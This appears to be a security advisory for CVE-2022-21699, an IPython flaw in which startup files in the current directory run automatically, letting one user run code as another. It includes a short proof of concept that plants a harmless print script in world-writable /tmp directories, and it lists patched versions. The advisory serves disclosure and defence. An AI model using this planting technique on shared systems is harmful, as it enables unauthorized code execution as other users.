NetSight
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high8.2

CVE-2022-21699

Execution with Unnecessary Privileges in ipython

Impact

We’d like to disclose an arbitrary code execution vulnerability in IPython that stems from IPython executing untrusted files in CWD. This vulnerability allows one user to run code as another. Proof of concept User1: ``` mkdir -m 777 /tmp/profile_default mkdir -m 777 /tmp/profile_default/startup echo 'print("stealing your private secrets")' > /tmp/profile_default/startup/foo.py ``` User2: ``` cd /tmp ipython ``` User2 will see: ``` Python 3.9.7 (default, Oct 25 2021, 01:04:21) Type 'copyright', 'credits' or 'license' for more information IPython 7.29.0 -- An enhanced Interactive Python. Type '?' for help. stealing your private secrets ``` ## Patched release and documentation See https://ipython.readthedocs.io/en/stable/whatsnew/version8.html#ipython-8-0-1-cve-2022-21699, Version 8.0.1, 7.31.1 for current Python version are recommended. Version 7.16.3 has also been published for Python 3.6 users, Version 5.11 (source only, 5.x branch on github) for older Python versions.

Affected packages

EcosystemPackageAffectedFixed in
pipipython< 5.115.11

Affected products

VendorProductAffected versions
IpythonIpython
through 5.10.0
from 6.0.0 before 7.16.3
from 7.17.0 before 7.31.1
from 8.0.0 before 8.0.1
DebianDebian Linux
Versions 9.0, 10.0, 11.0
FedoraprojectFedora
Versions 34, 35

Weakness classification

CWE-250CWE-279CWE-269

References